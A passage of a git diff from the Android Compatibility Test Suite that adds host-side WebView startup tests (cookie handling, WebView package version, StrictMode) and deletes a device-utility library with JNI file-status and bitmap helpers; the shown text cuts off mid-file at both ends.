         String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
         mDevice.installPackage(app, false, options);
     }
diff --git a/hostsidetests/webkit/Android.mk b/hostsidetests/webkit/Android.mk
new file mode 100644
index 0000000..6fe433c
--- /dev/null
+++ b/hostsidetests/webkit/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Only compile source java files in this apk.
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE := CtsHostsideWebViewTests
+
+LOCAL_JAVA_LIBRARIES := tradefed
+
+LOCAL_CTS_TEST_PACKAGE := android.webkit.hostside
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/webkit/AndroidTest.xml b/hostsidetests/webkit/AndroidTest.xml
new file mode 100644
index 0000000..37d0467
--- /dev/null
+++ b/hostsidetests/webkit/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS WebView host test cases">
+    <option name="config-descriptor:metadata" key="component" value="webview" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsWebViewStartupApp.apk" />
+    </target_preparer>
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsHostsideWebViewTests.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/webkit/app/Android.mk b/hostsidetests/webkit/app/Android.mk
new file mode 100644
index 0000000..6370fa4
--- /dev/null
+++ b/hostsidetests/webkit/app/Android.mk
@@ -0,0 +1,43 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    ctsdeviceutillegacy \
+    ctstestserver \
+    ctstestrunner
+
+# When built, explicitly put it in the data partition.
+#LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsWebViewStartupApp
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/webkit/app/AndroidManifest.xml b/hostsidetests/webkit/app/AndroidManifest.xml
new file mode 100644
index 0000000..2491d6c
--- /dev/null
+++ b/hostsidetests/webkit/app/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.webkit">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.INTERNET" />
+
+    <application android:maxRecents="1">
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".WebViewStartupCtsActivity"
+            android:label="WebViewStartupCtsActivity"
+            android:screenOrientation="nosensor">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+    </application>
+
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.webkit"/>
+
+</manifest>
diff --git a/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideStartupTest.java b/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideStartupTest.java
new file mode 100644
index 0000000..a47d653
--- /dev/null
+++ b/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideStartupTest.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.webkit;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.StrictMode;
+import android.test.ActivityInstrumentationTestCase2;
+import android.test.UiThreadTest;
+import android.util.Log;
+import android.webkit.CookieManager;
+import android.webkit.CookieSyncManager;
+import android.webkit.WebView;
+import android.webkit.cts.CtsTestServer;
+import android.webkit.cts.WebViewOnUiThread;
+import android.webkit.WebView;
+
+import com.android.compatibility.common.util.NullWebViewUtils;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Test class testing different aspects of WebView loading.
+ * The test methods in this class should be run one-and-one from the host-side to ensure we
+ * don't run the tests in the same process (since we can only load WebView into a process
+ * once - after that we will reuse the same webview provider).
+ * This works because the instrumentation used to run device-tests from the host-side terminates the
+ * testing process after each run.
+ * OBS! When adding a test here - remember to add a corresponding host-side test that will start the
+ * device-test added here! See com.android.cts.webkit.WebViewHostSideStartupTest.
+ */
+public class WebViewDeviceSideStartupTest
+        extends ActivityInstrumentationTestCase2<WebViewStartupCtsActivity> {
+
+    private static final String TAG = WebViewDeviceSideStartupTest.class.getSimpleName();
+
+    private WebViewStartupCtsActivity mActivity;
+
+    public WebViewDeviceSideStartupTest() {
+        super("com.android.cts.webkit", WebViewStartupCtsActivity.class);
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mActivity = getActivity();
+    }
+
+    @UiThreadTest
+    public void testCookieManagerBlockingUiThread() throws Throwable {
+        CtsTestServer server = new CtsTestServer(mActivity, false);
+        final String url = server.getCookieUrl("death.html");
+
+        Thread background = new Thread(new Runnable() {
+            @Override
+            public void run() {
+                CookieSyncManager csm = CookieSyncManager.createInstance(mActivity);
+                CookieManager cookieManager = CookieManager.getInstance();
+
+                cookieManager.removeAllCookie();
+                cookieManager.setAcceptCookie(true);
+                cookieManager.setCookie(url, "count=41");
+                Log.i(TAG, "done setting cookie before creating webview");
+            }
+        });
+        NullWebViewUtils.NullWebViewFromThreadExceptionHandler h =
+                new NullWebViewUtils.NullWebViewFromThreadExceptionHandler();
+
+        background.setUncaughtExceptionHandler(h);
+        background.start();
+        background.join();
+
+        if (!h.isWebViewAvailable(mActivity)) {
+            return;
+        }
+
+        // Now create WebView and test that setting the cookie beforehand really worked.
+        mActivity.createAndAttachWebView();
+        WebViewOnUiThread onUiThread = new WebViewOnUiThread(this, mActivity.getWebView());
+        onUiThread.loadUrlAndWaitForCompletion(url);
+        assertEquals("1|count=41", onUiThread.getTitle()); // outgoing cookie
+        CookieManager cookieManager = CookieManager.getInstance();
+        String cookie = cookieManager.getCookie(url);
+        assertNotNull(cookie);
+        final Pattern pat = Pattern.compile("count=(\\d+)");
+        Matcher m = pat.matcher(cookie);
+        assertTrue(m.matches());
+        assertEquals("42", m.group(1)); // value got incremented
+    }
+
+    @UiThreadTest
+    public void testGetCurrentWebViewPackageOnUiThread() throws Throwable {
+        runCurrentWebViewPackageTest(true /* alreadyOnMainThread */);
+    }
+
+    public void testGetCurrentWebViewPackage() throws Throwable {
+        runCurrentWebViewPackageTest(false /* alreadyOnMainThread */);
+    }
+
+    private void runCurrentWebViewPackageTest(boolean alreadyOnMainThread) throws Exception {
+        PackageManager pm = mActivity.getPackageManager();
+        if (pm.hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+            PackageInfo webViewPackage = WebView.getCurrentWebViewPackage();
+            // Ensure that getCurrentWebViewPackage returns a package recognized by the package
+            // manager.
+            assertPackageEquals(pm.getPackageInfo(webViewPackage.packageName, 0), webViewPackage);
+
+            // Create WebView on the app's main thread
+            if (alreadyOnMainThread) {
+                mActivity.createAndAttachWebView();
+            } else {
+                getInstrumentation().runOnMainSync(new Runnable() {
+                    @Override
+                    public void run() {
+                        mActivity.createAndAttachWebView();
+                    }
+                });
+            }
+
+            // Ensure we are still using the same WebView package.
+            assertPackageEquals(webViewPackage, WebView.getCurrentWebViewPackage());
+        } else {
+            // if WebView isn't supported the API should return null.
+            assertNull(WebView.getCurrentWebViewPackage());
+        }
+    }
+
+    private void assertPackageEquals(PackageInfo expected, PackageInfo actual) {
+        if (expected == null) assertNull(actual);
+        assertEquals(expected.packageName, actual.packageName);
+        assertEquals(expected.versionCode, actual.versionCode);
+        assertEquals(expected.versionName, actual.versionName);
+        assertEquals(expected.lastUpdateTime, actual.lastUpdateTime);
+    }
+
+    @UiThreadTest
+    public void testStrictModeNotViolatedOnStartup() throws Throwable {
+        StrictMode.ThreadPolicy oldThreadPolicy = StrictMode.getThreadPolicy();
+        StrictMode.VmPolicy oldVmPolicy = StrictMode.getVmPolicy();
+        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+                .detectAll()
+                .penaltyLog()
+                .penaltyDeath()
+                .build());
+        StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
+                .detectAll()
+                .penaltyLog()
+                .penaltyDeath()
+                .build());
+
+        try {
+            createWebViewAndNavigate();
+            // Try to force Garbage Collection to catch any StrictMode violations triggered in
+            // finalizers.
+            for(int n = 0; n < 5; n++) {
+                Runtime.getRuntime().gc();
+                Thread.sleep(200);
+            }
+        } finally {
+            StrictMode.setThreadPolicy(oldThreadPolicy);
+            StrictMode.setVmPolicy(oldVmPolicy);
+        }
+    }
+
+    private void createWebViewAndNavigate() {
+        try {
+            mActivity.createAndAttachWebView();
+        } catch (Throwable t) {
+            NullWebViewUtils.determineIfWebViewAvailable(mActivity, t);
+            if (NullWebViewUtils.isWebViewAvailable()) {
+                // Rethrow t if WebView is available (because then we failed in some way that
+                // indicates that the device supports WebView but couldn't load it for some reason).
+                throw t;
+            } else {
+                // No WebView available - bail out!
+                return;
+            }
+        }
+
+        // WebView is available, so try to call some WebView APIs to ensure they don't cause
+        // strictmode violations
+
+        WebViewOnUiThread onUiThread = new WebViewOnUiThread(this, mActivity.getWebView());
+        onUiThread.loadUrlAndWaitForCompletion("about:blank");
+        onUiThread.loadUrlAndWaitForCompletion("");
+    }
+}
diff --git a/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewStartupCtsActivity.java b/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewStartupCtsActivity.java
new file mode 100644
index 0000000..7a96816
--- /dev/null
+++ b/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewStartupCtsActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.webkit;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.ViewGroup;
+import android.webkit.WebView;
+
+public class WebViewStartupCtsActivity extends Activity {
+    private WebView mWebView;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+
+    public WebView createAndAttachWebView() {
+        mWebView = new WebView(this);
+        setContentView(mWebView);
+        return mWebView;
+    }
+
+    public WebView getWebView() {
+        return mWebView;
+    }
+
+    public void detachAndDestroyWebView() {
+        if (mWebView != null) {
+            ViewGroup vg = (ViewGroup)mWebView.getParent();
+            vg.removeView(mWebView);
+            mWebView.destroy();
+        }
+    }
+
+    @Override
+    public void onDestroy() {
+        detachAndDestroyWebView();
+        super.onDestroy();
+    }
+}
diff --git a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
new file mode 100644
index 0000000..53f4a49
--- /dev/null
+++ b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.webkit;
+
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.ddmlib.testrunner.TestRunResult;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import java.util.Map;
+
+public class WebViewHostSideStartupTest extends DeviceTestCase {
+    private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+
+    private static final String DEVICE_WEBVIEW_STARTUP_PKG = "com.android.cts.webkit";
+    private static final String DEVICE_WEBVIEW_STARTUP_TEST_CLASS = "WebViewDeviceSideStartupTest";
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+    }
+
+    public void testCookieManager() throws DeviceNotAvailableException {
+        assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
+                    "testCookieManagerBlockingUiThread"));
+    }
+
+    public void testWebViewVersionApiOnUiThread() throws DeviceNotAvailableException {
+        assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
+                    "testGetCurrentWebViewPackageOnUiThread"));
+    }
+
+    public void testWebViewVersionApi() throws DeviceNotAvailableException {
+        assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
+                    "testGetCurrentWebViewPackage"));
+    }
+
+    public void testStrictMode() throws DeviceNotAvailableException {
+        assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
+                    "testStrictModeNotViolatedOnStartup"));
+    }
+
+    private boolean runDeviceTest(String packageName, String testClassName,
+            String testMethodName) throws DeviceNotAvailableException {
+        testClassName = packageName + "." + testClassName;
+
+        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
+                packageName, RUNNER, getDevice().getIDevice());
+        testRunner.setMethodName(testClassName, testMethodName);
+
+        CollectingTestListener listener = new CollectingTestListener();
+        assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+
+        TestRunResult runResult = listener.getCurrentRunResults();
+        return !runResult.hasFailedTests() && runResult.getNumTestsInState(TestStatus.PASSED) > 0;
+    }
+}
diff --git a/libs/deviceutil/Android.mk b/libs/deviceutil/Android.mk
deleted file mode 100644
index db5496d..0000000
--- a/libs/deviceutil/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util legacy-android-test
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := ctsdeviceutil
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/libs/deviceutil/jni/Android.mk b/libs/deviceutil/jni/Android.mk
deleted file mode 100644
index 12b41e1..0000000
--- a/libs/deviceutil/jni/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libcts_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-		CtsJniOnLoad.cpp \
-		android_cts_FileUtils.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl
-LOCAL_SDK_VERSION := 19
-
-LOCAL_CFLAGS := -Wno-unused-parameter
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/libs/deviceutil/jni/CtsJniOnLoad.cpp b/libs/deviceutil/jni/CtsJniOnLoad.cpp
deleted file mode 100644
index abf8e01..0000000
--- a/libs/deviceutil/jni/CtsJniOnLoad.cpp
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <jni.h>
-#include <stdio.h>
-
-extern int register_android_cts_FileUtils(JNIEnv*);
-
-jint JNI_OnLoad(JavaVM *vm, void *reserved) {
-    JNIEnv *env = NULL;
-
-    if (vm->GetEnv((void **) &env, JNI_VERSION_1_4) != JNI_OK) {
-        return JNI_ERR;
-    }
-
-    if (register_android_cts_FileUtils(env)) {
-      return JNI_ERR;
-    }
-
-    return JNI_VERSION_1_4;
-}
diff --git a/libs/deviceutil/jni/android_cts_FileUtils.cpp b/libs/deviceutil/jni/android_cts_FileUtils.cpp
deleted file mode 100644
index 91b74bf..0000000
--- a/libs/deviceutil/jni/android_cts_FileUtils.cpp
+++ /dev/null
@@ -1,145 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <grp.h>
-#include <jni.h>
-#include <pwd.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/errno.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <assert.h>
-
-static jclass gFileStatusClass;
-static jfieldID gFileStatusDevFieldID;
-static jfieldID gFileStatusInoFieldID;
-static jfieldID gFileStatusModeFieldID;
-static jfieldID gFileStatusNlinkFieldID;
-static jfieldID gFileStatusUidFieldID;
-static jfieldID gFileStatusGidFieldID;
-static jfieldID gFileStatusSizeFieldID;
-static jfieldID gFileStatusBlksizeFieldID;
-static jfieldID gFileStatusBlocksFieldID;
-static jfieldID gFileStatusAtimeFieldID;
-static jfieldID gFileStatusMtimeFieldID;
-static jfieldID gFileStatusCtimeFieldID;
-
-/*
- * Native methods used by
- * cts/libs/deviceutil/src/android/cts/util/FileUtils.java
- *
- * Copied from hidden API: frameworks/base/core/jni/android_FileUtils.cpp
- */
-
-jboolean android_cts_FileUtils_getFileStatus(JNIEnv* env, jobject thiz,
-        jstring path, jobject fileStatus, jboolean statLinks)
-{
-    const char* pathStr = env->GetStringUTFChars(path, NULL);
-    jboolean ret = false;
-    struct stat s;
-
-    int res = statLinks == true ? lstat(pathStr, &s) : stat(pathStr, &s);
-
-    if (res == 0) {
-        ret = true;
-        if (fileStatus != NULL) {
-            env->SetIntField(fileStatus, gFileStatusDevFieldID, s.st_dev);
-            env->SetIntField(fileStatus, gFileStatusInoFieldID, s.st_ino);
-            env->SetIntField(fileStatus, gFileStatusModeFieldID, s.st_mode);
-            env->SetIntField(fileStatus, gFileStatusNlinkFieldID, s.st_nlink);
-            env->SetIntField(fileStatus, gFileStatusUidFieldID, s.st_uid);
-            env->SetIntField(fileStatus, gFileStatusGidFieldID, s.st_gid);
-            env->SetLongField(fileStatus, gFileStatusSizeFieldID, s.st_size);
-            env->SetIntField(fileStatus, gFileStatusBlksizeFieldID, s.st_blksize);
-            env->SetLongField(fileStatus, gFileStatusBlocksFieldID, s.st_blocks);
-            env->SetLongField(fileStatus, gFileStatusAtimeFieldID, s.st_atime);
-            env->SetLongField(fileStatus, gFileStatusMtimeFieldID, s.st_mtime);
-            env->SetLongField(fileStatus, gFileStatusCtimeFieldID, s.st_ctime);
-        }
-    }
-
-    env->ReleaseStringUTFChars(path, pathStr);
-
-    return ret;
-}
-
-jstring android_cts_FileUtils_getUserName(JNIEnv* env, jobject thiz,
-        jint uid)
-{
-    struct passwd *pwd = getpwuid(uid);
-    return env->NewStringUTF(pwd->pw_name);
-}
-
-jstring android_cts_FileUtils_getGroupName(JNIEnv* env, jobject thiz,
-        jint gid)
-{
-    struct group *grp = getgrgid(gid);
-    return env->NewStringUTF(grp->gr_name);
-}
-
-jint android_cts_FileUtils_setPermissions(JNIEnv* env, jobject clazz,
-        jstring file, jint mode)
-{
-    const char *fileStr = env->GetStringUTFChars(file, NULL);
-    if (fileStr == NULL) {
-        return -1;
-    }
-
-    if (strlen(fileStr) <= 0) {
-        env->ReleaseStringUTFChars(file, fileStr);
-        return ENOENT;
-    }
-
-    jint returnValue = chmod(fileStr, mode) == 0 ? 0 : errno;
-    env->ReleaseStringUTFChars(file, fileStr);
-    return returnValue;
-}
-
-static JNINativeMethod gMethods[] = {
-    {  "getFileStatus", "(Ljava/lang/String;Landroid/cts/util/FileUtils$FileStatus;Z)Z",
-            (void *) android_cts_FileUtils_getFileStatus  },
-    {  "getUserName", "(I)Ljava/lang/String;",
-            (void *) android_cts_FileUtils_getUserName  },
-    {  "getGroupName", "(I)Ljava/lang/String;",
-            (void *) android_cts_FileUtils_getGroupName  },
-    {  "setPermissions", "(Ljava/lang/String;I)I",
-            (void *) android_cts_FileUtils_setPermissions },
-};
-
-int register_android_cts_FileUtils(JNIEnv* env)
-{
-    jclass clazz = env->FindClass("android/cts/util/FileUtils");
-    assert(clazz != null);
-
-    gFileStatusClass = env->FindClass("android/cts/util/FileUtils$FileStatus");
-    assert(gFileStatusClass != null);
-    gFileStatusDevFieldID = env->GetFieldID(gFileStatusClass, "dev", "I");
-    gFileStatusInoFieldID = env->GetFieldID(gFileStatusClass, "ino", "I");
-    gFileStatusModeFieldID = env->GetFieldID(gFileStatusClass, "mode", "I");
-    gFileStatusNlinkFieldID = env->GetFieldID(gFileStatusClass, "nlink", "I");
-    gFileStatusUidFieldID = env->GetFieldID(gFileStatusClass, "uid", "I");
-    gFileStatusGidFieldID = env->GetFieldID(gFileStatusClass, "gid", "I");
-    gFileStatusSizeFieldID = env->GetFieldID(gFileStatusClass, "size", "J");
-    gFileStatusBlksizeFieldID = env->GetFieldID(gFileStatusClass, "blksize", "I");
-    gFileStatusBlocksFieldID = env->GetFieldID(gFileStatusClass, "blocks", "J");
-    gFileStatusAtimeFieldID = env->GetFieldID(gFileStatusClass, "atime", "J");
-    gFileStatusMtimeFieldID = env->GetFieldID(gFileStatusClass, "mtime", "J");
-    gFileStatusCtimeFieldID = env->GetFieldID(gFileStatusClass, "ctime", "J");
-
-    return env->RegisterNatives(clazz, gMethods,
-            sizeof(gMethods) / sizeof(JNINativeMethod));
-}
diff --git a/libs/deviceutil/src/android/cts/util/BitmapUtils.java b/libs/deviceutil/src/android/cts/util/BitmapUtils.java
deleted file mode 100644
index 157ee27..0000000
--- a/libs/deviceutil/src/android/cts/util/BitmapUtils.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.util;
-
-import android.app.WallpaperManager;
-import android.content.Context;
-import android.graphics.Bitmap;
-import android.graphics.Bitmap.CompressFormat;
-import android.graphics.Color;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.lang.reflect.Method;
-import java.util.Random;
-
-public class BitmapUtils {
-    private BitmapUtils() {}
-
-    // Compares two bitmaps by pixels.
-    public static boolean compareBitmaps(Bitmap bmp1, Bitmap bmp2) {
-        if (bmp1 == bmp2) {
-            return true;
-        }
-
-        if (bmp1 == null || bmp2 == null) {
-            return false;
-        }
-
-        if ((bmp1.getWidth() != bmp2.getWidth()) || (bmp1.getHeight() != bmp2.getHeight())) {
-            return false;
-        }
-
-        for (int i = 0; i < bmp1.getWidth(); i++) {
-            for (int j = 0; j < bmp1.getHeight(); j++) {
-                if (bmp1.getPixel(i, j) != bmp2.getPixel(i, j)) {
-                    return false;
-                }
-            }
-        }
-        return true;
-    }
-
-    public static Bitmap generateRandomBitmap(int width, int height) {
-        final Bitmap bmp = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
-        final Random generator = new Random();
-        for (int x = 0; x < width; x++) {
-            for (int y = 0; y < height; y++) {
-                bmp.setPixel(x, y, generator.nextInt(Integer.MAX_VALUE));
-            }
-        }
-        return bmp;
-    }
-
-    public static Bitmap generateWhiteBitmap(int width, int height) {
-        final Bitmap bmp = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
-        for (int x = 0; x < width; x++) {
-            for (int y = 0; y < height; y++) {
-                bmp.setPixel(x, y, Color.WHITE);
-            }
-        }
-        return bmp;
-    }
-
-    public static Bitmap getWallpaperBitmap(Context context) throws Exception {
-        WallpaperManager wallpaperManager = WallpaperManager.getInstance(context);
-        Class<?> noparams[] = {};
-        Class<?> wmClass = wallpaperManager.getClass();
-        Method methodGetBitmap = wmClass.getDeclaredMethod("getBitmap", noparams);
-        return (Bitmap) methodGetBitmap.invoke(wallpaperManager, null);
-    }
-
-    public static ByteArrayInputStream bitmapToInputStream(Bitmap bmp) {
